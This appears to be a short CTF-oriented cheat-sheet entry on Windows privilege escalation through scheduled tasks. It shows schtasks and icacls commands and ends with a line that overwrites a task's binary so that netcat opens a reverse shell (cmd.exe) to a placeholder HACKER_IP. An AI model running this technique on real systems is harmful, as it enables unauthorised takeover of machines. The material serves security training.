Scheduled tasks ¶

List scheduled tasks

PS> schtasks

Query more info on a task (ex: example_task) with:

PS> schtasks /query /tn example_task /fo list /v

When inspecting tasks, look for the binary in Task To Run. You may be able to replace, edit or inject some code in the binary.

• Check your permissions

PS> icacls task_to_run

➡️ During CTFs, you may be given the permissions to restart the task, otherwise you will have to wait.

PS> schtasks /run /tn taskname

Replace a task ¶

Replace a binary executed by a task with netcat:

CMD> echo %temp%\nc64.exe -e cmd.exe HACKER_IP PORT > task_to_run